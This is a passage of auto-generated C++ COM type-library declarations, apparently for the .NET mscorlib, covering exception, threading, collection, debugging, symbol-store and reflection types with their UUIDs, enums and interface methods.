interface ISerializable struct __declspec(uuid("11581718-2434-32e3-b559-e86ce9923744")) OperationCanceledException; // [ default ] interface _OperationCanceledException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("4286fa72-a2fa-3245-8751-d4206070a191")) OverflowException; // [ default ] interface _OverflowException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("3495e5fa-2a90-3ca7-b3b5-58736c4441dd")) ParamArrayAttribute; // [ default ] interface _ParamArrayAttribute // interface _Object // interface _Attribute enum __declspec(uuid("f9628962-01e2-32f6-a40c-08bd8adcff25")) PlatformID { PlatformID_Win32S = 0, PlatformID_Win32Windows = 1, PlatformID_Win32NT = 2, PlatformID_WinCE = 3, PlatformID_Unix = 4, PlatformID_Xbox = 5, PlatformID_MacOSX = 6 }; struct __declspec(uuid("a36738b5-fa8f-3316-a929-68099a32b43b")) PlatformNotSupportedException; // [ default ] interface _PlatformNotSupportedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("4e77ec8f-51d8-386c-85fe-7dc931b7a8e7")) Random; // [ default ] interface _Random // interface _Object struct __declspec(uuid("c9f61cbd-287f-3d24-9feb-2c3f347cf570")) RankException; // [ default ] interface _RankException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("5ae028b5-9a3a-32a9-899c-1deefb85cc50")) MemberInfo; // interface _Object // interface ICustomAttributeProvider // [ default ] interface _MemberInfo struct __declspec(uuid("6c9863dc-7207-327f-a048-c3bb63474bfc")) Type; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // [ default ] interface _Type // interface IReflect struct __declspec(uuid("0df960bc-125d-3dcb-b55a-e19d773be4f2")) TypeInfo; // [ default ] interface _TypeInfo // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _Type // interface IReflect #pragma pack(push, 4) struct __declspec(uuid("3613a9b6-c23b-3b54-ae02-6ec764d69e70")) RuntimeArgumentHandle { long m_ptr; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("78c18a10-c00e-3c09-b000-411c38900c2c")) RuntimeTypeHandle { IUnknown * m_type; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("f8fc5d7c-8215-3e65-befb-11e8172606fe")) RuntimeMethodHandle { IUnknown * m_value; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("27b33bd9-e6f7-3148-911d-f67340a5353f")) RuntimeFieldHandle { IUnknown * m_ptr; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("8531f85a-746b-3db5-a45f-9bac4bd02d8b")) ModuleHandle { IUnknown * m_ptr; }; #pragma pack(pop) #pragma pack(push, 1) struct __declspec(uuid("ca2bcdb4-3a7e-33e8-80ed-d32475adef33")) SByte { char m_value; }; #pragma pack(pop) struct __declspec(uuid("89bcc804-53a5-3eb2-a342-6282cc410260")) SerializableAttribute; // [ default ] interface _SerializableAttribute // interface _Object // interface _Attribute #pragma pack(push, 4) struct __declspec(uuid("23d4a35b-c997-3401-8372-736025b17744")) Single { float m_value; }; #pragma pack(pop) struct __declspec(uuid("50aad4c2-61fa-3b1f-8157-5ba3b27aee61")) STAThreadAttribute; // [ default ] interface _STAThreadAttribute // interface _Object // interface _Attribute struct __declspec(uuid("b406ac70-4d7e-3d24-b241-aeaeac343bd9")) MTAThreadAttribute; // [ default ] interface _MTAThreadAttribute // interface _Object // interface _Attribute struct __declspec(uuid("eaa78d4a-20a3-3fde-ab72-d3d55e3aefe6")) TimeoutException; // [ default ] interface _TimeoutException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 8) struct __declspec(uuid("94942670-4acf-3572-92d1-0916cd777e00")) TimeSpan { __int64 _ticks; }; #pragma pack(pop) enum __declspec(uuid("8e3cc6fb-a6ed-3f63-a7d1-d40d8c6666f6")) TypeCode { TypeCode_Empty = 0, TypeCode_Object = 1, TypeCode_DBNull = 2, TypeCode_Boolean = 3, TypeCode_Char = 4, TypeCode_SByte = 5, TypeCode_Byte = 6, TypeCode_Int16 = 7, TypeCode_UInt16 = 8, TypeCode_Int32 = 9, TypeCode_UInt32 = 10, TypeCode_Int64 = 11, TypeCode_UInt64 = 12, TypeCode_Single = 13, TypeCode_Double = 14, TypeCode_Decimal = 15, TypeCode_DateTime = 16, TypeCode_String = 18 }; #pragma pack(push, 4) struct __declspec(uuid("06ad02b5-c5a4-3eec-b7ba-b0af7860d36a")) TypedReference { long value; long Type; }; #pragma pack(pop) struct __declspec(uuid("811fb5f2-9bfe-3557-83de-1279f0b3eb55")) TypeInitializationException; // [ default ] interface _TypeInitializationException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 2) struct __declspec(uuid("0f0928b7-11dd-31dd-a0d5-bb008ae887bf")) UInt16 { unsigned short m_value; }; #pragma pack(pop) #pragma pack(push, 4) struct __declspec(uuid("4f854e40-af6d-3d30-860a-e9722c85e9a3")) UInt32 { unsigned long m_value; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("62ad7d6b-52cc-3ed4-a20d-1a32ef6bf1da")) UInt64 { unsigned __int64 m_value; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("4f93b8dd-5396-3b65-b16a-11fbc8812a71")) UIntPtr { void * m_value; }; #pragma pack(pop) struct __declspec(uuid("75215200-a2fe-30f6-a34b-8f1a1830358e")) UnauthorizedAccessException; // [ default ] interface _UnauthorizedAccessException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("b55dae2e-c8e8-3c48-b404-d991979a9d9d")) UnhandledExceptionEventArgs; // [ default ] interface _UnhandledExceptionEventArgs // interface _Object struct __declspec(uuid("db4d2d94-3fa3-36f5-b22e-a00ff22f08bd")) UnhandledExceptionEventHandler; // [ default ] interface _UnhandledExceptionEventHandler // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("43cd41ad-3b78-3531-9031-3059e0aa64eb")) Version; // [ default ] interface _Version // interface _Object // interface ICloneable // interface IComparable struct __declspec(uuid("d3f54e92-a0c7-3bf4-a114-f1f384ce3eff")) WeakReference; // [ default ] interface _WeakReference // interface _Object // interface ISerializable struct __declspec(uuid("4d0e564a-78c8-31e0-ba03-73af7bdff5a9")) WaitHandle; // [ default ] interface _WaitHandle // interface _Object // interface IDisposable struct __declspec(uuid("80226212-1832-310f-862c-a511e3534e62")) EventWaitHandle; // [ default ] interface _EventWaitHandle // interface _Object // interface IDisposable struct __declspec(uuid("e35af4dd-eb37-39fc-9071-4ce39b1a54be")) AutoResetEvent; // [ default ] interface _AutoResetEvent // interface _Object // interface IDisposable struct __declspec(uuid("5b193863-a73e-3ec3-80d0-35b36e3cf4ed")) ContextCallback; // [ default ] interface _ContextCallback // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("c460e2b4-e199-412a-8456-84dc3e4838c3")) IObjectHandle : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall Unwrap ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; #pragma pack(push, 4) struct __declspec(uuid("ba0e4cf7-a429-3fe8-abab-183387d05852")) LockCookie { long _dwFlags; long _dwWriterSeqNum; long _wReaderAndWriterLevel; long _dwThreadID; }; #pragma pack(pop) struct __declspec(uuid("17a355c3-c65e-3f26-8a80-236890ebc997")) ManualResetEvent; // [ default ] interface _ManualResetEvent // interface _Object // interface IDisposable struct __declspec(uuid("9e97213a-0b49-3c05-a0bf-d203c4fc8487")) Monitor; // [ default ] interface _Monitor // interface _Object struct __declspec(uuid("d74d613d-f27f-311b-a9a3-27ebc63a1a5d")) Mutex; // [ default ] interface _Mutex // interface _Object // interface IDisposable #pragma pack(push, 4) struct __declspec(uuid("a2959123-2f66-35b4-815d-37c83360809b")) NativeOverlapped { long InternalLow; long InternalHigh; long OffsetLow; long OffsetHigh; long EventHandle; }; #pragma pack(pop) struct __declspec(uuid("7fe87a55-1321-3d9f-8fef-cd2f5e8ab2e9")) Overlapped; // [ default ] interface _Overlapped // interface _Object struct __declspec(uuid("9173d971-b142-38a5-8488-d10a9dcf71b0")) ReaderWriterLock; // [ default ] interface _ReaderWriterLock // interface _Object struct __declspec(uuid("48a75519-cb7a-3d18-b91e-be62ee842a3e")) SynchronizationLockException; // [ default ] interface _SynchronizationLockException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("a5889aad-36a6-3b3e-89f9-118ce3a77d7c")) Thread; // interface _Object // [ default ] interface _Thread struct __declspec(uuid("ea1cf67d-7904-36a3-bd5b-dd028985861c")) ThreadAbortException; // [ default ] interface _ThreadAbortException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("27e986e1-baec-3d48-82e4-14169ca8cecf")) ThreadInterruptedException; // [ default ] interface _ThreadInterruptedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("50f8ae2b-69f0-37ef-954b-d2618e3e8267")) RegisteredWaitHandle; // [ default ] interface _RegisteredWaitHandle // interface _Object struct __declspec(uuid("d8e04cc2-f4f5-367d-a23f-f71aff4f14f3")) WaitCallback; // [ default ] interface _WaitCallback // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("3c8c9f02-2c23-39ff-ac7b-cd0ee1d14a79")) WaitOrTimerCallback; // [ default ] interface _WaitOrTimerCallback // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("8a937e3b-9c07-3d4d-b50a-4f4f3c85317c")) IOCompletionCallback; // [ default ] interface _IOCompletionCallback // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable enum __declspec(uuid("d32b1206-1440-3664-9991-1ae109add173")) ThreadPriority { ThreadPriority_Lowest = 0, ThreadPriority_BelowNormal = 1, ThreadPriority_Normal = 2, ThreadPriority_AboveNormal = 3, ThreadPriority_Highest = 4 }; struct __declspec(uuid("e7ac1e4d-35db-3432-a032-e94c012b2d39")) ThreadStart; // [ default ] interface _ThreadStart // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable enum __declspec(uuid("f768ec63-95ed-35fc-9876-7bcf01a14919")) ThreadState { ThreadState_Running = 0, ThreadState_StopRequested = 1, ThreadState_SuspendRequested = 2, ThreadState_Background = 4, ThreadState_Unstarted = 8, ThreadState_Stopped = 16, ThreadState_WaitSleepJoin = 32, ThreadState_Suspended = 64, ThreadState_AbortRequested = 128, ThreadState_Aborted = 256 }; struct __declspec(uuid("3e5509f0-1fb9-304d-8174-75d6c9afe5da")) ThreadStateException; // [ default ] interface _ThreadStateException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("ffc9f9ae-e87a-3252-8e25-b22423a40065")) ThreadStaticAttribute; // [ default ] interface _ThreadStaticAttribute // interface _Object // interface _Attribute struct __declspec(uuid("5a49b766-b474-3501-901e-5bdac8b48a3d")) Timeout; // [ default ] interface _Timeout // interface _Object struct __declspec(uuid("ddf7ba7f-4b7c-378d-a153-6285b84c6593")) TimerCallback; // [ default ] interface _TimerCallback // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("490ca7a8-d03f-3459-8208-d428ea010da0")) Timer; // [ default ] interface _Timer // interface _Object // interface IDisposable enum __declspec(uuid("7055b1db-d445-31fc-bdec-a9fb3f6e6e58")) ApartmentState { ApartmentState_STA = 0, ApartmentState_MTA = 1, ApartmentState_Unknown = 2 }; struct __declspec(uuid("35e946e4-7cda-3824-8b24-d799a96309ad")) CaseInsensitiveComparer; // [ default ] interface _CaseInsensitiveComparer // interface _Object // interface IComparer struct __declspec(uuid("5d573036-3435-3c5a-aeff-2b8191082c71")) IHashCodeProvider : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetHashCode ( /*[in]*/ VARIANT obj, /*[out,retval]*/ long * pRetVal ) = 0; }; struct __declspec(uuid("47d3c68d-7d85-3227-a9e7-88451d6badfc")) CaseInsensitiveHashCodeProvider; // [ default ] interface _CaseInsensitiveHashCodeProvider // interface _Object // interface IHashCodeProvider struct __declspec(uuid("87259279-9f5d-3c0a-bb58-723a2a6e4dba")) CollectionBase; // [ default ] interface _CollectionBase // interface _Object // interface IList // interface ICollection // interface IEnumerable struct __declspec(uuid("9840c5c3-21d3-3b8a-94c1-3fc542b0227e")) DictionaryBase; // [ default ] interface _DictionaryBase // interface _Object // interface IDictionary // interface ICollection // interface IEnumerable struct __declspec(uuid("b66406bd-746d-3d10-98a1-41d097cf42b7")) ReadOnlyCollectionBase; // [ default ] interface _ReadOnlyCollectionBase // interface _Object // interface ICollection // interface IEnumerable struct __declspec(uuid("7f976b72-4b71-3858-bee8-8e3a3189a651")) Queue; // [ default ] interface _Queue // interface _Object // interface ICollection // interface IEnumerable // interface ICloneable struct __declspec(uuid("6896b49d-7afb-34dc-934e-5add38eeee39")) ArrayList; // [ default ] interface _ArrayList // interface _Object // interface IList // interface ICollection // interface IEnumerable // interface ICloneable struct __declspec(uuid("5d2fb755-c658-3f51-86f2-881f4a1a2a55")) BitArray; // [ default ] interface _BitArray // interface _Object // interface ICollection // interface IEnumerable // interface ICloneable struct __declspec(uuid("4599202d-460f-3fb7-8a1c-c2cc6ed6c7c8")) Stack; // [ default ] interface _Stack // interface _Object // interface ICollection // interface IEnumerable // interface ICloneable struct __declspec(uuid("8a63140f-7eb8-3f4e-ba59-19b8c747843f")) Comparer; // [ default ] interface _Comparer // interface _Object // interface IComparer // interface ISerializable struct __declspec(uuid("146855fa-309f-3d0e-bb3e-df525f30a715")) Hashtable; // [ default ] interface _Hashtable // interface _Object // interface IDictionary // interface ICollection // interface IEnumerable // interface ISerializable // interface IDeserializationCallback // interface ICloneable #pragma pack(push, 8) struct __declspec(uuid("a6cceb32-ec73-3e9b-8852-02783c97d3fa")) DictionaryEntry { IUnknown * _key; IUnknown * _value; }; #pragma pack(pop) struct __declspec(uuid("35d574bf-7a4f-3588-8c19-12212a0fe4dc")) IDictionaryEnumerator : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_key ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_value ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_Entry ( /*[out,retval]*/ struct DictionaryEntry * pRetVal ) = 0; }; struct __declspec(uuid("026cc6d7-34b2-33d5-b551-ca31eb6ce345")) SortedList; // [ default ] interface _SortedList // interface _Object // interface IDictionary // interface ICollection // interface IEnumerable // interface ICloneable struct __declspec(uuid("f358ac62-4569-3705-be32-b07e799b4223")) Nullable; // [ default ] interface _Nullable // interface _Object struct __declspec(uuid("0d52abe3-3c93-3d94-a744-ac44850baccd")) KeyNotFoundException; // [ default ] interface _KeyNotFoundException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("75b3810e-f2d5-36e2-8d27-514ebcad4511")) ConditionalAttribute; // [ default ] interface _ConditionalAttribute // interface _Object // interface _Attribute struct __declspec(uuid("91f672a3-6b82-3e04-b2d7-bac5d6676609")) Debugger; // [ default ] interface _Debugger // interface _Object struct __declspec(uuid("93f551d6-2f9e-301b-be63-85aef508cae0")) DebuggerStepThroughAttribute; // [ default ] interface _DebuggerStepThroughAttribute // interface _Object // interface _Attribute struct __declspec(uuid("1b979846-aaeb-314b-8e63-d44ef1cb9efc")) DebuggerStepperBoundaryAttribute; // [ default ] interface _DebuggerStepperBoundaryAttribute // interface _Object // interface _Attribute struct __declspec(uuid("41970d73-92f6-36d9-874d-3bd0762a0d6f")) DebuggerHiddenAttribute; // [ default ] interface _DebuggerHiddenAttribute // interface _Object // interface _Attribute struct __declspec(uuid("29625281-51ce-3f8a-ac4d-e360cacb92e2")) DebuggerNonUserCodeAttribute; // [ default ] interface _DebuggerNonUserCodeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("df1f67b4-74f7-30af-922d-29f0b91abc25")) DebuggableAttribute; // [ default ] interface _DebuggableAttribute // interface _Object // interface _Attribute enum __declspec(uuid("5a235286-93f1-3c18-a3ae-16d345a87a24")) DebuggerBrowsableState { DebuggerBrowsableState_Never = 0, DebuggerBrowsableState_Collapsed = 2, DebuggerBrowsableState_RootHidden = 3 }; struct __declspec(uuid("a709ebbe-bdb2-30f4-959b-37b7a68e4299")) DebuggerBrowsableAttribute; // [ default ] interface _DebuggerBrowsableAttribute // interface _Object // interface _Attribute struct __declspec(uuid("8366ee18-bbe6-3061-b99f-ba87e26919d1")) DebuggerTypeProxyAttribute; // [ default ] interface _DebuggerTypeProxyAttribute // interface _Object // interface _Attribute struct __declspec(uuid("f640e47b-67d0-31a2-8621-02e2dd41b496")) DebuggerDisplayAttribute; // [ default ] interface _DebuggerDisplayAttribute // interface _Object // interface _Attribute struct __declspec(uuid("29813e13-8772-3b1f-878d-26c33b045d5a")) DebuggerVisualizerAttribute; // [ default ] interface _DebuggerVisualizerAttribute // interface _Object // interface _Attribute struct __declspec(uuid("405c2d81-315b-3cb0-8442-ef5a38d4c3b8")) StackTrace; // [ default ] interface _StackTrace // interface _Object struct __declspec(uuid("14910622-09d4-3b4a-8c1e-9991dbdcc553")) StackFrame; // [ default ] interface _StackFrame // interface _Object struct __declspec(uuid("1c32f012-2684-3efe-8d50-9c2973acc00b")) ISymbolDocument : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Url ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DocumentType ( /*[out,retval]*/ GUID * pRetVal ) = 0; virtual HRESULT __stdcall get_Language ( /*[out,retval]*/ GUID * pRetVal ) = 0; virtual HRESULT __stdcall get_LanguageVendor ( /*[out,retval]*/ GUID * pRetVal ) = 0; virtual HRESULT __stdcall get_CheckSumAlgorithmId ( /*[out,retval]*/ GUID * pRetVal ) = 0; virtual HRESULT __stdcall GetCheckSum ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall FindClosestLine ( /*[in]*/ long line, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_HasEmbeddedSource ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_SourceLength ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetSourceRange ( /*[in]*/ long startLine, /*[in]*/ long startColumn, /*[in]*/ long endLine, /*[in]*/ long endColumn, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; struct __declspec(uuid("fa682f24-3a3c-390d-b8a2-96f1106f4b37")) ISymbolDocumentWriter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall SetSource ( /*[in]*/ SAFEARRAY * Source ) = 0; virtual HRESULT __stdcall SetCheckSum ( /*[in]*/ GUID algorithmId, /*[in]*/ SAFEARRAY * checkSum ) = 0; }; struct __declspec(uuid("23ed2454-6899-3c28-bab7-6ec86683964a")) ISymbolNamespace : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetNamespaces ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetVariables ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; enum __declspec(uuid("b6b91160-2abf-352b-a74d-1174cc324e18")) SymAddressKind { SymAddressKind_ILOffset = 1, SymAddressKind_NativeRVA = 2, SymAddressKind_NativeRegister = 3, SymAddressKind_NativeRegisterRelative = 4, SymAddressKind_NativeOffset = 5, SymAddressKind_NativeRegisterRegister = 6, SymAddressKind_NativeRegisterStack = 7, SymAddressKind_NativeStackRegister = 8, SymAddressKind_BitField = 9, SymAddressKind_NativeSectionOffset = 10 }; struct __declspec(uuid("4042bd4d-b5ab-30e8-919b-14910687baae")) ISymbolVariable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetSignature ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_AddressKind ( /*[out,retval]*/ enum SymAddressKind * pRetVal ) = 0; virtual HRESULT __stdcall get_AddressField1 ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_AddressField2 ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_AddressField3 ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_StartOffset ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_EndOffset ( /*[out,retval]*/ long * pRetVal ) = 0; }; struct __declspec(uuid("40ae2088-ce00-33ad-9320-5d201cb46fc9")) SymDocumentType; // [ default ] interface _SymDocumentType // interface _Object struct __declspec(uuid("5a18d43e-115b-3b8b-8245-9a06b204b717")) SymLanguageType; // [ default ] interface _SymLanguageType // interface _Object struct __declspec(uuid("dfd888a7-a6b0-3b1b-985e-4cdab0e4c17d")) SymLanguageVendor; // [ default ] interface _SymLanguageVendor // interface _Object #pragma pack(push, 4) struct __declspec(uuid("709164df-d0e2-3813-a07d-f9f1e99f9a4b")) SymbolToken { long m_token; }; #pragma pack(pop) struct __declspec(uuid("2846ae5e-a9fa-36cf-b2d1-6e95596dbde7")) AmbiguousMatchException; // [ default ] interface _AmbiguousMatchException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("aaaa10c6-9902-3dbb-b173-eba1eba2cd5e")) ModuleResolveEventHandler; // [ default ] interface _ModuleResolveEventHandler // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("28e89a9f-e67d-3028-aa1b-e5ebcde6f3c8")) Assembly; // interface _Object // [ default ] interface _Assembly // interface IEvidenceFactory // interface ICustomAttributeProvider // interface ISerializable struct __declspec(uuid("8687959f-d86d-3217-8d58-be9a0427bb84")) AssemblyCopyrightAttribute; // [ default ] interface _AssemblyCopyrightAttribute // interface _Object // interface _Attribute struct __declspec(uuid("e64c95df-eadc-3d08-9c6f-80f29d92cb4e")) AssemblyTrademarkAttribute; // [ default ] interface _AssemblyTrademarkAttribute // interface _Object // interface _Attribute struct __declspec(uuid("cfe2bcf1-683c-39b5-83ce-4b186a521513")) AssemblyProductAttribute; // [ default ] interface _AssemblyProductAttribute // interface _Object // interface _Attribute struct __declspec(uuid("62342fb2-16bf-30a9-88ad-6bc781eec94f")) AssemblyCompanyAttribute; // [ default ] interface _AssemblyCompanyAttribute // interface _Object // interface _Attribute struct __declspec(uuid("432e5e9f-03ba-37b2-8edf-7fac14b03b4f")) AssemblyDescriptionAttribute; // [ default ] interface _AssemblyDescriptionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("51b4f67c-2fcb-391d-a381-d040100d6717")) AssemblyTitleAttribute; // [ default ] interface _AssemblyTitleAttribute // interface _Object // interface _Attribute struct __declspec(uuid("09dd9840-5e39-317a-aab3-0a467998de25")) AssemblyConfigurationAttribute; // [ default ] interface _AssemblyConfigurationAttribute // interface _Object // interface _Attribute struct __declspec(uuid("8beb1256-5d9b-3262-bf85-beb6287e4eea")) AssemblyDefaultAliasAttribute; // [ default ] interface _AssemblyDefaultAliasAttribute // interface _Object // interface _Attribute struct __declspec(uuid("894593b9-99e5-3b61-a592-ee44b9396277")) AssemblyInformationalVersionAttribute; // [ default ] interface _AssemblyInformationalVersionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("14152cb5-dc51-3c42-8a43-09854dea1b8f")) AssemblyFileVersionAttribute; // [ default ] interface _AssemblyFileVersionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("4265ab21-a68f-38a9-98d8-5d62b8035ea0")) AssemblyCultureAttribute; // [ default ] interface _AssemblyCultureAttribute // interface _Object // interface _Attribute struct __declspec(uuid("2d0fa06f-88fd-3643-8dbc-1f428a2b1a3b")) AssemblyVersionAttribute; // [ default ] interface _AssemblyVersionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("ff408450-1db9-3203-84ec-b70a01f48a06")) AssemblyKeyFileAttribute; // [ default ] interface _AssemblyKeyFileAttribute // interface _Object // interface _Attribute struct __declspec(uuid("4804184f-4741-396b-af5b-71134937f21a")) AssemblyDelaySignAttribute; // [ default ] interface _AssemblyDelaySignAttribute // interface _Object // interface _Attribute struct __declspec(uuid("0d052b0a-23d1-3bac-85ee-4e764b814cee")) AssemblyAlgorithmIdAttribute; // [ default ] interface _AssemblyAlgorithmIdAttribute // interface _Object // interface _Attribute struct __declspec(uuid("4554ed74-4243-3e7c-9b33-e9a89379c4f1")) AssemblyFlagsAttribute; // [ default ] interface _AssemblyFlagsAttribute // interface _Object // interface _Attribute struct __declspec(uuid("3dace301-6c51-3bf7-b975-e4a05f00fd4d")) AssemblyKeyNameAttribute; // [ default ] interface _AssemblyKeyNameAttribute // interface _Object // interface _Attribute struct __declspec(uuid("b42b6aac-317e-34d5-9fa9-093bb4160c50")) _AssemblyName : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("f12fde6a-9394-3c32-8e4d-f3d470947284")) AssemblyName; // interface _Object // [ default ] interface _AssemblyName // interface ICloneable // interface ISerializable // interface IDeserializationCallback struct __declspec(uuid("3f4a4283-6a08-3e90-a976-2c2d3be4eb0b")) AssemblyNameProxy; // [ default ] interface _AssemblyNameProxy // interface _Object enum __declspec(uuid("981dc77e-ce21-3753-92da-3c4a0cc7aa44")) AssemblyNameFlags { AssemblyNameFlags_None = 0, AssemblyNameFlags_PublicKey = 1, AssemblyNameFlags_EnableJITcompileOptimizer = 16384, AssemblyNameFlags_EnableJITcompileTracking = 32768, AssemblyNameFlags_Retargetable = 256 }; enum __declspec(uuid("56b1cccb-6490-396d-8c09-2257259f3caa")) ProcessorArchitecture { ProcessorArchitecture_None = 0, ProcessorArchitecture_MSIL = 1, ProcessorArchitecture_X86 = 2, ProcessorArchitecture_IA64 = 3, ProcessorArchitecture_Amd64 = 4, ProcessorArchitecture_Arm = 5 }; struct __declspec(uuid("d5cb383d-99f4-3c7e-a9c3-85b53661448f")) CustomAttributeFormatException; // [ default ] interface _CustomAttributeFormatException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("3223e024-5d70-3236-a92a-6b4114b2632f")) BindingFlags { BindingFlags_Default = 0, BindingFlags_IgnoreCase = 1, BindingFlags_DeclaredOnly = 2, BindingFlags_Instance = 4, BindingFlags_Static = 8, BindingFlags_Public = 16, BindingFlags_NonPublic = 32, BindingFlags_FlattenHierarchy = 64, BindingFlags_InvokeMethod = 256, BindingFlags_CreateInstance = 512, BindingFlags_GetField = 1024, BindingFlags_SetField = 2048, BindingFlags_GetProperty = 4096, BindingFlags_SetProperty = 8192, BindingFlags_PutDispProperty = 16384, BindingFlags_PutRefDispProperty = 32768, BindingFlags_ExactBinding = 65536, BindingFlags_SuppressChangeType = 131072, BindingFlags_OptionalParamBinding = 262144, BindingFlags_IgnoreReturn = 16777216 }; enum __declspec(uuid("fd67ebe2-30de-3fbe-896b-81da2e455137")) CallingConventions { CallingConventions_Standard = 1, CallingConventions_VarArgs = 2, CallingConventions_Any = 3, CallingConventions_HasThis = 32, CallingConventions_ExplicitThis = 64 }; struct __declspec(uuid("993634c4-e47a-32cc-be08-85f567dc27d6")) _ParameterInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("d002e9ba-d9e3-3749-b1d3-d565a08b13e7")) _Module : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct 